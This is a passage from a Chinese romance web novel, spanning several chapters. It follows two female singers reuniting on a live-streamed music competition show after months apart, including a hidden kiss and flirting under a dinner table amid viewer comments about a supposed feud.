【我今天去医院了,按照你说的给柳听颂交了钱,我说你也是不打自招,人家又不缺这个钱,你非让我去交,这不是摆明打探情况吗?】 【听颂姐估计早就看出来了,还故意开了个门缝,让我听见医生的话】 【那医生说她恢复得很好,正常交流已经没有问题了】 【我好像听到她和那助理说,她在准备新歌这两天好像在练习了】 【对哦,咱们那首合作曲已经录完了,大概这两天就能上,要不先用这个版本,等你回来之后再录一遍,不然你的音频总是怪怪的】 许风扰在前些时候,终于将那首歌的词编完,继而短暂离开藏区,寻了个录音室录完音,将音频与词曲一并传给燃陨等人。 【你什么时候回来,不会真打算在那边当野人了吧?】 【等昭昭大一点,我就带她去山裏看你,你记得给她表演猩猩锤胸】 剩下的话没有重点,许风扰匆匆看了些,只挑了几个回复,而后就将手机放下。 有些头晕。 她闭了闭眼,刚想休息一会,却听同伴突然出声道:“我估摸着这场雪后就不会太冷了,到时候就不能进冰川了,危险系数太大。” 这事许风扰早已明了,前段时间制定计划时也曾提起过,只是不知对方为什么突然又提起,她没有回答,只是继续听着。 那人果然继续:“你之后有什么打算,我们打算往尼泊尔那边走,要不要一起?” 她声音随意,隐隐带着几分笃定,毕竟在这段时间,许风扰完全跟着她们的节奏,像是没有归处的浮萍,她们说去哪儿就去哪儿,没有丝毫意见。 可这一次却出乎她意料,许风扰摇了摇头,语气坚定:“不了,你们去吧。” “哎?” 出乎意料的回答让她惊讶了下,一时没能反应过来,下意识就问:“那你要去哪?” 片刻又察觉到自己的失言,吶吶道:“抱歉,我不是故意打听的……” 许风扰没多计较,只是笑了笑,笑意不及眼底,语气都变得飘忽,慢吞吞道:“可能会和你们一样要出国吧。” 那人呆了下,话到嘴边又止住。 而许风扰又低头看向手机,还是楚澄发来的消息。 【你叫我去联系的那个卡米耶,我已经找到了】 【这是她的联系方式】 【你这是要做什么?】 【算了,记得平安回来,我们都在等你】 许风扰垂眼看着,好半天才说了个好。 第79章 音综开播 恍惚间, 又是一年。 今年的寒潮漫长极了,即便已是冬末,随着一场小雪落下, 又将S市带入刺骨的冷天气裏。 房门被打开, 暖气涌出,穿着厚厚冬衣的女人走了进来, 装满东西的塑料袋被放在旁边,蜷缩在沙发裏的猫睁开眼,喵喵着跑来。 “三斤, ”熟悉又久远的温润声音响起。 缅因想要贴近, 却被柳听颂带来的寒气惊得炸毛, 发出着急的喵喵声。 柳听颂就笑,蹲下后, 故意用冰凉的手捧住大猫脸。 “喵!”三斤被冷得一哆嗦, 差点就要给柳听颂来一爪子。 惹得坏心眼的人直笑, 等到周身寒气散去, 才慢悠悠站起身, 脱下外套, 换了毛拖鞋, 带着绕着她脚踝打转的猫,回到客厅。 家裏没有多大变化,和许风扰离开时差不多,但应是装修风格作怪,即便日日开着地暖,也让人觉得凄凄冷冷的。 厨房传来乒乓声, 片刻之后,柳听颂便带着泡好的牛奶, 蜷缩进沙发中,缅因熟练跳进她怀裏,让柳听颂扯过一半毯子,盖在它身上。 做完这一切后,房间裏陷入短暂的寂静。 柳听颂习惯性点进与某个人的聊天框,顺着毫无回复的界面,继而点入头像,重复看着毫无变化的一切,甚至再一次将那两条动态都看完,又绕进其他社交媒体。 无论如何刷新,都只有过年时的一条视频更新,除了雪山就是冰川,半个人影都没有,被粉丝在评论区刷屏,嗷嗷喊着许风扰敷衍,叫她放粮,吐槽她怎么变成了旅游博主,差点就点了出去。 许风扰一概不回,好像就只是为了报个平安。 柳听颂发着愣,低垂的眼眸倒映着连绵冰川,不知是水雾还是其他,泛起淡淡的蓝。 旁边的缅因叫了一声,大脑袋蹭进柳听颂掌心,央着要被摸。 柳听颂回过神,大拇指下意识一滑,换作许风扰其他的练习视频,当歌声响起时,小猫才得到喵喵讨来的抚摸。 它还不习惯,听到熟悉声音就开始转头看向门的方向,好像在期待某个人的出现。 ——嗡嗡、嗡嗡。 只是突然的震动声打破平静,柳听颂不曾犹豫一秒,拿起手机就接通。 她喊:“卡米耶。” 那人依旧热情,开口就喊:“亲爱的,我和你的小情人见面了。” 心脏被一瞬揪起,柳听颂顿时坐直,语速极快道:“她看起来怎么样,你和她说了什么,她问了什么?” 一连三个问题,甚至因说得太快而咳嗽了下。 卡米耶不知道该摆出什么表情,只能无奈道:“你太在乎她了,柳。” 听出友人的劝告之意,柳听颂摇了摇头,却道:“她还好吗?” “看起来不错,问了你的不少事情。” 听到这话,柳听颂停顿了下,眼眸中的情绪变得晦涩复杂,扯了扯嘴角,而后才语气低沉道:“她想知道什么都可以,你……” 柳听颂深吸了口气,闭上的眼帘发颤,吃够教训的年长者终于学会坦诚,却再无人听她一一交代。 她强忍着情绪,假装镇定道:“麻烦你、麻烦你把你知道的一切都告诉她。” 话到此处,她又犯起老毛病,想叫卡米耶不要夸大表述,其实这段时间也没那么难挨,只是比平常生活更麻烦了些,不算特别苦痛。 可在下一秒,字句又堵于唇词,既已经打算坦诚,又何必委婉遮掩,即便因此心情低落,也只是低落而已,她又不会回来…… 手突然揪紧薄被,眼眸中的水光再一次氤氲。 她其实有好多话想告诉许风扰,比如她的声音已经恢复,平常也在积极做康复训练,今儿甚至主动多加了一个小时,彻底摆脱了之前的生涩僵硬。 她想说,三斤已经学会了后空翻,虽然翻得不是很标准,像个煤气罐在努力蛄蛹,但还算可爱。 她想说,之前的歌已录完,这是她们的合作中、唯一一首被摆在臺前的歌,很多人听过都觉得这能火,柳听颂也是如此希冀着。 她想说,她已在慢慢改变,不像之前那么依赖许风扰了,可转念一想,又觉得更想她了,一连几个夜的梦都是许风扰,只是可惜,结尾从来没有圆满过,以各种方式的痛苦结束。 想说的太多,便会变成哑巴。 柳听颂想来想去,却只将精心准备的视频发出。 这样的照片、视频她有一堆,本就是专门拍给另一个人看,只是怕吓到对方,又怕许风扰嫌烦,克制地一点点挤出。 她张了张嘴,好半天才重复道:“拜托你将“我”全部告知她。” 那一面的卡米耶没有说话,只道:“我刚刚偷拍了一张照片,你要看吗?” “看!”迫切而着急的回应,没有半秒的思考。 卡米亚笑了下,将早已准备在聊天框的照片发送。 “她看起来很好,柳。” 照片中的人已将头发染黑,简单修剪后仍觉得长,便用黑色发圈松松垮垮束起,她更瘦了,却不是之前那种单薄病弱的瘦,小麦肤色加之未褪干净的高原红,与浓颜五官相衬,有一种极具冲击力的野性美。 可她却将这样的面容,藏在厚重的围巾中,碧色眼眸在灯光下,泛起如钻石火彩般璀璨的光亮。 柳听颂深吸了口气,想要压住情绪,可眼泪却落了下来,砸碎在屏幕之中。 抛弃者变作被抛弃的人,短短几个月都觉得难捱,更何况五年。 她终于切实体验到了许风扰的感受,无望而不知尽头的等待,明明知道对方在那裏,却连靠近都不敢,只能卑微乞求着从旁人或者其他地方,得知一点点稀薄渺小的信息。 眼泪又落下,砸出水花。 照片中的人不曾察觉,站在玻璃橱窗外,仰头看向裏头的烘焙室。 “她总是会突然去做些莫名其妙的事,我本以为是爱好,毕竟每个人都会有突然对一样东西非常感兴趣的时候。” “可后面我才知晓,她的莫名其妙都与你有关。” “偏执又疯狂。” “比如,你在生日采访中的一句许多蛋糕店的奶油都很腻,她就买下了一个蛋糕店,连着做了三个月的蛋糕,做不好的丢掉,做好的也丢掉。” “她不给别人试,自己也只尝几口,觉得成功后就不再触碰。” “你有一年生日,她连着半个月的蛋糕,各种模样、各种款式都与你有关,我让她想办法寄给你。” “可她却在烘焙室裏坐了一夜。” 许风扰愣愣看着玻璃窗内,好像看见那个身姿优越的女人,望着堆积成小山堆的蛋糕,颓然呆坐在座椅中,手捏着写着地址的纸,却怯弱都不敢打扰。 “前面有一个宠物店。” “那天我和柳在这儿吃甜点,她一眼就看中了三斤,她不是很敢养,说自己从来没有养过宠物。” “我怎么劝她,她都只敢站在门外。” “很巧的是你那会刚好发了视频,银白发色与碧色眼眸,和裏头的猫一模一样,我费尽口舌都没有做到的事情,你甚至不需要出现在她面前,她就可以做下决定。” “再往前就是剧场,她经常出现在那儿,买两张票,却只有一个人来,年复一年的坚持着。” 许风扰站着原地,看着那个只能瞧见些许轮廓的建筑。 可卡米耶却让她转身,看向另一个方向的欧式阁楼,建立于上个世纪的建筑老旧,窗边放着一盆未开的花。 “走吧,那是柳租住的地方。” 许风扰亦步亦趋跟在她身后,望着周围陌生的场景,想象中柳听颂身处其中的模样。 即便已经在脑海中想象过无数次,当真切站在其中时,还是觉得恍惚。 等回过神时,她们已走到臺阶下。 卡米耶骤然停下,突然问她:“你觉得这条街长吗?” 许风扰怔了下,缓缓摇了个头。 怎么会长呢 旧世纪的街道可不像现代的商业街般,漫长的好像没有尽头,它只有短短一截,让贪心的商人恨不得将每个缝隙都塞满商品,途经的书店,木架已抵到天花板,大家都在费尽心思地压榨着这片狭窄街道。 “这是柳的五年。” “除了必要的心理咨询外,她从不离开这裏。” “她把自己困在这裏,如同个自我惩罚的犯人,这儿到剧院的位置是她定下囚笼,不需要管理者,她从不违法规则。” “在离开你的时间裏,她一直自我惩罚。” 卡米耶深深看了她一眼,在这场对话中,第一次给她后悔的机会,说:“你还要继续下去吗?” “还想继续知道吗?” 许风扰点了下头,只有知晓柳听颂曾经的恍惚,没有对答案的犹豫。 “那就走吧。” 她带着许风扰上楼,用柳听颂留下的钥匙打开门,不曾走入其中,只在门外伸手示意,对着她说了句:“请。” 比起S市的房子,这儿很是狭小,甚至只有许风扰那间房子的客厅大,单人床被摆在正中间,除了角落裏的猫窝与猫砂盆,便只剩下…… 许风扰。 贴满四面的海报与照片,她屏蔽了燃陨其他人,在这个五年裏,她想方设法得到一切关于许风扰的信息,一点点粘贴在这个小屋裏。 街道是她的囚笼,这裏是她的安全屋,她固执地将自己锁进其中。 “那边有一个房间,进去看看吧。” “那是……”卡米耶停顿了下,只道:“你会明白的。” 许风扰没有细问,混乱的大脑已无法再提问,推着沉重的脚步往前,推开那间被小心合上门。 紧接着,她就被堆积如山的礼物淹没。 精品店裏的水晶球、限量版的贝斯、亲手编治的围巾、采访中无意提起过的外套、曾经随口与柳听颂说过的滑板…… 柳听颂将这个房间打造成百宝屋,塞满了许风扰想要的、提起过的一切。 夕阳下落,澄红的光涌来,顺着小小阳臺淹没出租屋,像是一场汹涌而没有尽头的橙色浪潮,许风扰被淹没其中,坠入海底。 不知过了多久,大抵是卡米耶在屋外连抽了三支烟的时间,那人才慢慢走出。 她说:“现在还能买到剧场的票吗?” “我想要两张。” 也是今晚,让人期待已久的柳听颂与燃陨乐队合作曲终于上线。 粉丝与普通听众纷纷涌入,得到结果比预计得还要好,甚至上了一段时间的热搜,掀起许多讨论,些许黑子的言论都被数不尽的好评淹没。 唯一让人感到不满意的是许风扰片段,分开的录音总让人觉得有些生硬,不过瑕不掩瑜,这首歌还是以飞快速度冲到新歌榜第一,被无数人单曲循环。 终于又到夏季,一檔以直播竞技为卖点的音综终于开播,一众极具实力的歌手都被邀请参加。 短短片刻的开播,就引来无数观众,飞快闪过弹幕淹没屏幕。 站在臺下的许风扰仰头,看向舞臺中央的女人。 第80章 好久不见,柳听颂 拥挤的直播间内, 弹幕还在不停刷着,层层迭迭挤满屏幕,废尽力气才能看清一两个。 【天啊, 终于开播了, 好像从去年就开始宣传了吧,真的等了好久】 【这节目都有谁啊?一直神神秘秘地藏着, 嘶,这是要一个个出场的意思】 【来了来了,终于来了】 【等等我去, 这是安惜文!她那首匆匆可火了】 【我天, 铁肺吴婧雪, 她不是在筹备个人演唱会吗,节目组是怎么把她请过来的?】 【陈朗!他不是公开表示过不会再参加任何综艺节目吗?怎么也来了。】 缭乱的弹幕随之直播画面变化, 一众歌手纷纷走出, 观众发出不同感慨。 【哎哎哎, 我没看错吧, 那是燃陨乐队的许风扰!】 【妈耶, 她不是消失好久了吗?我都以为她要退圈了, 没想到会突然出现在这裏】 【她也来比赛, 我都不敢想这节目会有多热闹】 直播间的弹幕不断迭加,站在诸多屏幕前的导演表情凝重,不曾因此而缓和半天,一颗心仍紧紧揪着,直播的竞技综艺固然是很好的卖点,但也意味难度加重。 她现在满心忐忑, 既怕没有节目效果,又怕闹出什么控制的乱子。 但是幸好, 此刻的效果还算不错,随着一个个神秘嘉宾出现,即便无太多矛盾,大家都还在你喊我、你夸我的其乐融融局面中,但也让观众感到惊喜异常。 说明这第一步的选人就对了。 导演擦了擦额间的汗,不由松了口气。 眼神看向弹幕,随着许风扰出现,直播间明显冒出不少吐槽,比起其他歌手,许风扰显然更年轻、也有更多争议。 毕竟在大众眼裏,许风扰是桀骜不驯、恃才傲物的乐队主唱。 伴随着一首首热单出现的,是她一条条离经叛道的热搜。 染白发、拒绝了各大综艺的邀请,宁愿拿着把破贝斯,在不到百人的酒吧裏唱得嗓音沙哑。 和偷拍的狗仔飙车、不给知名导演面子,被MV女主控诉耍大牌,这一桩桩一件件,若是放到旁人身上,早就被骂得狗血淋头,可落在许风扰这儿,又莫名的理所应当。 爱她的人爱得死去活来,恨她的人极度厌恶,路人不掺和这些,只管将她的歌加入歌单,圈裏的人既排斥她,又渴望着与她合作,想蹭上一首好歌。 从出道到现在,许风扰身上的话题就没止过。 导演眼神一动,一摊死水会显平淡无趣,必须往裏头放入鲶鱼,搅动池水,才能掀起圈圈波澜。 而许风扰就是她选中的鲶鱼。 思绪间,柳听颂已经登场。 早已准备好的灯光,瞬间落在她身上,月白的苏绣云锦旗袍,小圆襟莲花纹,随着走动,侧边露出盈盈一抹莹润,犹如冬青釉中淡淡一点白。 弹幕一静,众人的谈笑声止住,视线纷纷落在她身上。 青丝盘在脑后,木簪玉坠轻晃,略带倦意的眉眼略显柔和,不复曾经拒人于千裏之外的疏离,换作皎洁月夜下寂寥清雅。 其实在众嘉宾中,她的装扮并不算最精致的。 有人红裙艳如牡丹,有人丝绒鱼尾、脖颈的宝石项链醒目,更有甚者,裙摆拖地,还得让人紧跟在身后帮忙提起,大家都在卯住劲地比较,却不比她轻描淡写的一眼。 【柳听颂!!!!】 【节目组居然能把柳听颂请来,我真不是在做梦吗?我的天啊啊啊啊】 【是柳听颂,我居然能看见柳听颂参加音综,投票,现在就投票,这个冠军我们柳天后拿定了】 【完了,太美了,我的屏幕现在全是口水】 在短暂寂静后,直播间瞬间沸腾,不管她们如此兴奋,自柳听颂复出以来,竟只客串了个小综艺的嘉宾,哪怕是跨年晚会都被拒绝。 于是,即便是高强度关注她的粉丝,也只能从各种代言采访中得知她的消息,超话裏天天都有人问柳听颂什么时候发新歌、上舞臺,却次次都没有下文,如今却不声不响地出现。 【啊啊啊啊我妈要疯,刚刚突然从沙发上蹦起来,冲到我屏幕面前】 【救命救命,我过年许的愿望终于要实现了吗?】 直播间的屏幕全是啊啊啊啊的尖叫,以各种渠道知晓的粉丝在挤入其中,导演终于出现一抹笑意,悬着的心终于落地。 而其他选手虽被压制,却露出惊喜表情,纷纷提着裙摆往上走,就连之前端坐于沙发中,即便有人打招呼也不曾起身的老前辈,也露出和蔼笑意,主动站起身来。 唯一格格不入的是许风扰。 她就杵在舞臺之下,染黑后的发丝不能遮掩眉眼间的桀骜,反而与小麦肤色相称,就算是站在人群之中,也极具存在感。 柳听颂看向她,她看向柳听颂襟间的钻石耳扣,像是作为小巧思,当做胸针别在荷花纹饰间。 还算好看,却略微有些别扭,感觉将其换作珍珠项链会更搭配,而柳听颂不是不懂,却执意如此。 许风扰无意识抬手,摸了摸空落落的耳垂。 想起柳听颂刚回国时,两人在巷间的纠缠对视。 她原以为耳钉是在舞臺上被甩飞…… 原来是落在柳听颂这儿了吗 恰好这时,柳听颂故作无意,指尖抚过那钻石耳钉,继而掀起眼帘,隔着人海,无声看向许风扰。 像是对她内心疑问的回答。 那颗被误以为丢弃的耳扣,实际一直被小心珍藏着。 她怔愣了下,可这样的表情却被观众误解。 【许风扰怎么冷着个脸】 【原来网上传得许风扰与柳听颂不合是真的啊?据说之前的合作曲被一拖再拖,就是因为她们两个有矛盾】 【柳听颂不是还在V博为许风扰说过话吗,怎么又闹成这样?】 【许风扰性格也太怪了,再怎么说,柳天后也是她的前辈,就算是表面功夫也得装一下吧,一个人杵在那边垮脸是怎么回事?】 【许风扰脾气傲也不是一天两天了,去年不是还有圈内人说她耍大牌吗】 看到这裏,导演表情一僵,她是想让这个许风扰刺头搅混水,可现在还不是时候啊! 眼看着弹幕要吵起来,她忙拿麦喊道:“许老师?你不要僵在原地,你动一下,去和柳老师打个招呼。” 她声音急切,不等许风扰回答又喊:“许老师?!” 许风扰不答,复杂思绪缭乱,甚至有点恍惚。 分不清站在这儿的是,分别五年再见面的柳听颂与许风扰,还是短暂分开一个冬天的柳听颂与许风扰,她们中间隔着太多时间,反反复复的分离与见面,像一面面立起的玻璃墙迭加又破碎。 许风扰曾预想过很多次,她们的重逢,不包含酒吧中的狼狈逃跑,却想过若干年后,两人在同一檔节目中的意外撞见。 即便理智一遍遍告诉她,她应该保持镇定,装出礼貌又热情的模样,上前说着客套的话语,可本能却不受控制。 鼻尖一酸,眼眶便跟着红。 许风扰无意识退后半步,莫名又熟悉的不适,冷汗悄然冒起。 耳麦裏的声音更急,生怕她闹出什么乱子。 “许老师你怎么了,是身体不是舒服吗?” “现在网友对你的意见很大,你还是得上去打声招呼。” “许老师?可以吗许风扰?” 导演越发急切,有些后悔为什么要弄那么多个角度,要不是承诺过每个人都会有镜头实时直播,她现在早已将屏幕转向别处。 这僵持的局面引来更多注意,弹幕上的质疑更多,风向也跟着偏移。 【许风扰这是怎么回事?当做那么多人的面玩这套。】 【现在的娱乐圈新人一点规矩都没有,哪裏像以前。】 【装模作样的,她以为她摆出这模样会有谁看我们柳姐根本不在乎……】 许风扰又退一步,突然转身便往后走,疾行的风掀起衣摆,脚步虚晃又坚定。 她又一次当胆小鬼,忍不住向漆黑处逃窜。 只是这一次,柳听颂没有停留在原地,不甘看着她背影消失在拐角。 她穿过层层人群向她追来。 “这是咋了!” 震惊声不断响起,惊呼声连连冒出。 守在直播间的观众同样不解又震惊,落在键盘上的手还未按下,屏幕骤然变黑,直播中止。 而造成这一切的许风扰什么都不知道,脑子还是乱的,一下冒出柳听颂刚回国的画面,一下是楼道中的触碰,一下子又到异国他乡,卡米耶的话语在耳边环绕,房间裏的一切都被她牢记记住。 她只顾慌乱逃跑,凭着记忆踏入之前节目组安排的隔间,试图躲避,一个人冷静下来。 可墙外却有高跟鞋靠近。 在许风扰关门时,抬手抵住门。 ——嘭。 房门终于紧闭,可隔间裏却多了一个人,在一片黑暗裏,许风扰被压在门板上,还未能反应过来,就有人垫脚仰头,吻在她唇角。 时隔多日的触碰,让两个人都出现了几秒的僵硬。 许风扰抬起双手,像个被抓住的犯人,甚至不知该不该落下。 而另一人已伸手勾住她的脖颈,迫使许风扰低头。 唇舌相碰,呼吸交替。 被填补的残缺灵魂发出喟嘆,人还未做出反应,身体就已诚实贴近,将仅有的些许距离挤压,变成密不可分。 “宝宝……”有人低声呢喃。 “宝宝,”她重复着,好像要把之前未能说出口的亲昵都补上。 她声音沙哑,不知是不是刻意,拖长的字句总显得撩人,一点点缠上许风扰耳廓。 带着薄茧的手终于落在腰腹,指节曲折,将人紧紧扣进怀中。 那些杂乱的心事,竟就这样被压下,什么也想不到,什么也不想想,只管接吻。 柔软的唇被碾磨,口红被晕开。 许风扰尝到淡淡的薄荷糖味,清凉却不叫人清醒,反而拉扯着越发沉沦。 微曲的脊骨抵着木板,虎口掐窝间,云锦被揉出凌乱花纹,斑驳如藤蔓缠绕,旗袍开叉裏,因垫脚而绷紧的小腿纤细,足尖相碰。 “宝宝……” “我好想你,宝宝,”那人声音急且迫切,长腿挤入腿间,身体越发压住对方。 许风扰没有回答,一味加深,吻得很凶,带着不管不顾的意味,咬着唇、缠着舌,要将对方的气息全部掠夺,通通打上自己的标记。 过道有人走过,四处喊叫着寻人,还一度敲起房门,却没有得到丝毫回应。 “宝宝,”柳听颂一遍又一遍喊着,手穿过发丝,抚在滚烫耳垂间,大拇指指腹与食指指腹夹紧,一下又一下的碾磨。 扣在左胸的钻石耳扣被挤压,即便只有门缝中透来的一点点光,也让它反射出耀眼的火彩。 呼吸凌乱,过分鲁莽的代价明显,完全忘记了换气,只顾着收紧、再加深,要把怀裏的女人揉进骨血中,只有这样,才能让那点永远无法填满的空洞好受些。 一门之隔,脚步声越来越多,众人大喊着柳老师和许风扰的名字。 不知过了多久,这个漫长而激烈的吻终于暂缓,两人额头相抵,在未开灯的隔间中,互相凝视。 “好久不见,柳听颂。” 这话不知是与之分开五年的许风扰说的,还是主动离开一个冬季的许风扰说的。 柳听颂只是笑,眉眼舒展,眼尾带着些许水光。 “好久不见,宝宝。” “我真的、真的好想你啊,”她如同嘆息般的又一次重复开口,眼尾的水珠终于落下。《 》 80-90 第81章 桌布下的高跟鞋勾住裤脚,一点点往上 来不及磨蹭, 当理智回归后,两人便已赶回,被迫中止的直播又亮起。 “非常抱歉, 刚刚直播设备出现了点小问题, 现在继续。” 漆黑的屏幕又亮起,含糊的解释惹得众人刷屏, 发出满屏幕的问号,闹着要个解释。 看着这一切的导演苦着个脸,她也想给大家一个解释, 可她也什么都不知道, 就听到走动时的呼呼风声, 随着一声门响,耳麦就被摘下, 攥在掌心, 只能听到滋啦滋啦的电流声, 到底发生了什么, 只有两位当事人知晓。 不过…… 她看向屏幕中, 低头补着口红的柳听颂, 眼皮一跳, 隐隐冒出些许猜测。 而感到莫名其妙的观众更愤怒,最烦人的事就是说话说一半,现在的情况也不遑多让。 众人怒火无法缓解,便看向那罪魁祸首。 【什么直播设备出问题,节目组找理由也要找个好点的吧?明明就是有些人故意扰乱直播,还要节目组为她编借口】 【好笑了, 现在的新人就这样?动不动耍大牌,不知道的还以为是多大的腕, 搁下一堆前辈就走】 【我看节目组要惨了,怎么会邀请这样一个人,不知道要出多少乱子】 看见这一条弹幕的导演抹了抹额间的汗,确实冒出些许悔意。 也有人趁乱冒出一句疑惑。 【柳听颂怎么在补口红啊】 【对对对,我也觉得不对劲,终于有人注意到了,这才离开一会,补口红做什么?】 【不是说她们关系很僵吗?怎么觉得怪怪的……】 不过这些疑惑很快就被淹没,又杵在那儿的许风扰冷着个脸,像是依旧不满的模样,惹来了不少斥骂。 可只有熟悉她的人才知晓,这人又在发愣,唇角无意识抿成一条直线,挺直的脊骨处还隐隐作痛,是之前被抵在木门时的残留感受。 余光不经意窥向旁边,又以极快速度收回,指腹擦过裤子,裏头还有张沾染柳听颂唇边口红的纸。 倒不是找不到地方丢,休息室裏至少有两个垃圾桶。 许风扰恍惚一瞬,想到那人从旁边桌面抽出纸巾,抬手间,眼神专注,一点点擦过许风扰的唇,将她沾染的红痕与水迹拭去,再将纸巾迭好,放入她口袋…… 许风扰眼神一瞥,又忍不住看向那边。 那人刚好补完,抬眼便看了过来,相对于许风扰遮遮掩掩,她反倒大方得很,水波潋滟的眼眸倒映着许风扰面容,涂抹后的薄唇微肿。 许风扰急忙收回视线,却又在下一秒忍不住移回。 恰好瞧见柳听颂视线下移,落在那纸巾的位置,像在检查。 许风扰脊背僵住,彻底挪开视线,不愿再看对方,可口袋裏那纸巾烫得厉害,隔着一层布也极具存在感,不断提醒着它的存在。 短暂的寒暄已经结束,第一期的开场并不紧张,一一惊艳出场后,便是较为轻松的个人表演,许是后面要比赛的缘故,众人都在收敛锋芒,只唱了自己相对冷门的曲子,简单又刚好可以打歌,场面看着倒是轻松。 而直播间的硝烟已逐渐淡去,这才第一期,导演自然不会任由那些言语继续下去,早早就让安排好的水军下场,将话题移到别处。 故而,现在的直播间只剩下夸这个夸那个的话语,最多有些实力上的争论,都是导演希望瞧见的内容。 再晚些,第一期录制已经结束,可直播却还在继续。 在另一个宽敞房间内,长桌之上摆满各种准备好的食材,甚至还是极贴心的清汤,已煮沸的锅底冒着大泡。 就算事前已经商量过,但一群人还是装作不知情的惊喜模样。 紧接着,隐藏在摄像头外的导演咳嗽一声,就道:“各位老师辛苦了,为了庆祝我们的综艺顺利开播,节目组为了感谢各位老师,特地准备了一些吃的……” 这些话都是说给观众听,但众人还是配合,不断夸赞着节目组,直播间裏的气氛也更热切,大家是想看舞臺上闪闪发光的歌手,但也喜欢她们用这种方式拉进关系,只是…… 【哎哟,节目组在做什么,柳听颂许风扰这两人明显有点问题啊,怎么还安排在一起吃饭】 【哎,节目组不是故意的吧,真嫌事情不够大,还让她们面对面呢】 【我抽空看了眼V博热搜,许风扰与柳听颂不合的那条词条,本来都降下去,现在又跟着热闹起来了】 【亏我还心疼了一秒导演,现在摆明就是她故意搞事啊】 【嘿,就我觉得还好吗感觉又有乐子看了】 不管屏幕内外纷纷扰扰,进屋之后,许风扰就随意找到了个最边缘、镜头最少的位置坐下,没想到某个人见状,也跟着走来,偏要在她对面坐下。 许风扰眼帘一掀,定定瞧了她眼。 想叫她去别处。 虽然网上被骂来骂去,可许风扰心裏头还是有点数的,更何况刚刚还闹了个大乱子,心虚之下,也不愿和其他人争什么镜头。 毕竟在场的人裏,除了几个被硬塞进来,注定一轮游的新人歌手,就数她年纪最小,资历最薄,主动避开也是应该的。 可柳听颂不一样,她虽然年纪不大,但出道时间长,各类奖项拿到手软,即便要坐C位也无人有异议,这下竟跑到这边来。 许风扰斜眼一看,那边人已经僵硬住,完全不知道怎么坐才好。 可眼前那人还施施然地拿起碗筷,一副就是要坐这儿的模样。 许风扰皱了皱眉,有心提醒,便道:“柳老师,那边还有位置。” 对面那人点了点头,用漫不经意地语气敷衍:“嗯嗯,我瞧见了。” 许风扰差点被气笑,她又不是瞎,怎么可能瞧不见,自己想说的又不是这个。 她磨了磨牙,极力克制住情绪,又道:“我看安惜文前辈她们都在另一边,柳老师要过去和她们聊聊天吗?” 她这话已极力委婉,苦了她一个主打轻狂桀骜人设的家伙,往日都是直来直往,如今竟要学着弯弯绕绕。 而对面的人还装不懂,只道:“吃完饭再去。” 许风扰表情一僵。 吃饭是重点吗? 还吃完饭再去 等你吃完饭,大家都散场了,谁还留着和你聊天啊? 她又气又恼,却在镜头前、对柳听颂没有半点办法,桌布下的腿顿时一抬,故意踹在柳听颂小腿。 力度不算重,但也不至于轻飘飘的,让小腿歪了歪,又慢吞吞回到远处。 柳听颂也不生气,似笑非笑地看向她,好像在看一个小孩耍脾气。 让许风扰气鼓鼓偏头,不愿理她。 这一幕被摄像头录下,直播间的弹幕又变化,就连忙着对喷的粉丝都察觉到不对,这两人到底是怎么一回事…… 两人僵持间,众人已落座,好像什么都没发生,言笑晏晏间,碗筷碰撞,发出清脆声响。 许是之前的事让旁人心生不满,一时也无人找许风扰搭话,年纪大的那一堆忙着寒暄,年纪小的在旁边附和,而柳听颂偶尔被带着说几句,片刻就止住,众人瞧出她意兴阑珊,便不再打扰。 唯独许风扰知晓,她明明就在忙着做其他事,没空理会其他。 因节目的缘故,许风扰今儿穿了身新中式的黑西装,刺绣白花从左肩至右边衣摆,领带松松垮垮系着,还戴了个黑金的半框眼镜,半长不长的发丝半扎,比以往多了几分成熟* 稳重,可即便如此,还是逃不掉被撩拨的下场。 桌布下的高跟鞋轻勾,扯着西装裤一点点往上。 捏着筷子的手收紧,差点没夹起肉丸子。 而那人明明瞧见,却还在作乱。 突然放弃折腾裤脚,鞋尖点在腿骨,却不再攀往上,一下又一下在原处起落。 这让许风扰想到那种流裏流气的家伙,最喜欢翘着二郎腿,足尖点来点去,也不知道在摇什么。 可当许风扰抬眼看去,那人又装得正经,还是那一身月白旗袍,眉眼精致,神色矜雅,像是工笔大师费尽心思勾勒出的美人画卷,连鬓边垂落的细丝都恰到好处。 完全瞧不出会是偷偷作乱的人。 许风扰咬了咬牙,却拿这人毫无办法。 耳麦传来声音,是导演见她太沉默,特地叮嘱:“许老师” “许老师你和柳老师聊几句,不要太僵着了,弹幕现在都在说你们两不合呢。” “我已经提前和柳老师说过了,她会配合你的。” 许风扰扯了扯嘴角,再看过去,那人已然知晓,笑吟吟地看着她,好像在期待她说出什么。 许风扰深吸了一口气,还没有将话语说出,底下的高跟鞋骤然一抬,掀起略微疼痛的酥麻感受。 许风扰一下子握着筷子。 旁边的人不曾知晓,还谄媚夹菜,对着柳听颂就道:“柳老师你尝一尝,这个肉丸子味道真不错。” 柳听颂转头看去,回以淡淡一笑,说了声:“谢谢。” 哪怕只有两个字,也让年轻的后辈惊喜,觉得这是柳听颂释放出的友善信号,忙道:“前辈叫我小时就好,我是衡佳娱乐公司旗下的艺人,很高兴能在这儿认识前辈。” 被打断的许风扰没有插话,甚至偷偷松了口气。 高跟鞋的鞋尖顺着骨头一点点挪往上,裸露的白皙脚踝与小麦肤色的小腿形成鲜明对比,有一种莫名的反差,只是可惜这一幕不被旁人所知,完全被桌布遮掩。 “你好,小时,”柳听颂顺着她的话,礼貌点头。 也不知那儿学到的本事,竟能一心三用。 那小新人听到柳听颂回应她,表情越发惊喜,忙接道:“柳老师,我、我一直很喜欢你,我妈妈也是,不,不对,我全家都特别喜欢你。” 许是太惊喜,这人开始慌不择言,又道:“他们要是知道我和你上了同一檔节目,肯定会开心死的,我们老时家也算祖坟冒青烟……” 柳听颂神色一僵,难得说不出话来。 旁边看戏的许风扰忍不住低头闷笑,下一秒就踩住柳听颂鞋尖,将作乱的高跟鞋压住。 她抬头,背对着摄像头,用口型无声说了句:“很受欢迎嘛,柳老师。” 柳听颂有口难言,只得强撑着礼貌笑容,看向另一人道:“谢谢你的喜欢。” “不用谢、不用谢,”小时紧张摆手,下一秒又意识到自己说错话,解释道:“我的意思是柳老师你很优秀,我们喜欢你是很正常的,你真的太好了……” 许风扰勾了勾唇角,越发将高跟鞋踩紧,彻底断了柳听颂想要作乱的念头。 再等片刻,宴席散去。 许风扰刚走到地下停车库,便见一辆黑色轿车停到面前,车窗落下,那人露出姣好面容,只温声道:“今天晚上都没见你吃多少,饿不饿?” “我刚刚买了点食材,回家吃点?” 话到此处,柳听颂停顿一瞬,又柔柔道:“三斤想你了。” 许风扰定定看了她一会,最后还是伸手将车门打开。 第82章 